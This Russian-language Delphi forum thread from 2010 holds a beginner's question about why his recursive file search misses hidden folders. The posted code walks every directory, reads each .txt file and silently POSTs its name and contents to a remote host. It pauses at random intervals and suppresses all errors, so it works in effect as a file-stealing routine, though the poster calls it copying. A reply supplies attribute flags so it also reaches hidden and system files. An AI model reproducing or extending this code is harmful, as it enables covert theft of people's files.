Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 11.02.2010, 04:06
dm77 dm77 вне форума
Прохожий
 
Регистрация: 11.02.2010
Сообщения: 1
Репутация: 10
По умолчанию Вопрос по Поиску

Суть в том чтобы программа нашла файл по имени во всех директориях и скопировала из этих директорий все файлы с определенным расширением.
Программа работает, но только если папка не является скрытой, как только для папки выставляю атрибут "Скрытая" программа ничего не находит. В Делфи плохо разбираюсь, уже голову сломал. Помогите с заковыркой. Код:
Код:
procedure Send_all(Way:String);

begin

 try
 If FindFirst(Way+'*.txt',faAnyFile-faDirectory,TS)=0 then

      repeat

        If TS.Name<>'name.txt' Then
        begin
          //
          try
            ZeroMemory(@szBuf, SizeOf(szBuf)); //обнуляем массив
            lstrcpy(szBuf, PChar('fname='+TS.name+folder.name+'&data='));
            lstrcat(szBuf, ((GetFileData(PChar(Way+TS.name)))));
            SendPOSTData(Host,
              Path,
                szBuf);
            except end;

           end;

            until FindNext(TS) <> 0;
           FindClose(TS);
 except end;


end;


function Search():string;
var p:string;
    c:char;
//Рекурсивный поиск файлов
function FindFile(var path:string; const mask:string):boolean;
var SRec:TSearchRec;
    retval:integer;
    oldlen:integer;
begin Result:=true;
      oldlen:=length(path);
      retval:=FindFirst(path+mask,$3F,SRec);    //faAnyFile
      while retval=0 do begin
	if ((SRec.Attr and $18)=0)then begin           //faDirectory or faVolumeID
           Send_all(path);
          end;
         if Wait>0 then sleep(random(wait*1000));
	retval:=FindNext(SRec)
      end;
      FindClose(SRec);
      if not Result then exit;
      retval:=FindFirst(path+'*.*',$10,SRec);   //faDirectory
      while retval=0 do begin
	if (SRec.Attr and $10)<>0 then          //faDirectory
	  if (SRec.Name<>'.')and(SRec.Name<>'..') then begin
	    path:=path+SRec.Name+'\';



	    if (not FindFile(path,mask)) then begin
	      Result:=false;
	      Break;
	    end;
	    delete(path,oldlen+1,255)
	  end;
	retval:=FindNext(SRec);
      end;
      FindClose(SRec);
end;
Admin: Пользуемся тегами!

Последний раз редактировалось Admin, 11.02.2010 в 10:40.
Ответить с цитированием
  #2  
Старый 11.02.2010, 18:05
Аватар для KOOL
KOOL KOOL вне форума
Активный
 
Регистрация: 06.01.2008
Адрес: Рязань
Сообщения: 306
Версия Delphi: 2009
Репутация: 6150
По умолчанию

попробуй так:
Код:
If FindFirst(Way+'*.txt',faAnyFile+faHidden+faSysFile-faDirectory,TS)=0 then
скрытые файлы вроде как ищет, с папками не пробовал
__________________
РГРТУ - ФВТ - Системы Автоматизированного ПРоектирования. ت
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 15:44.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025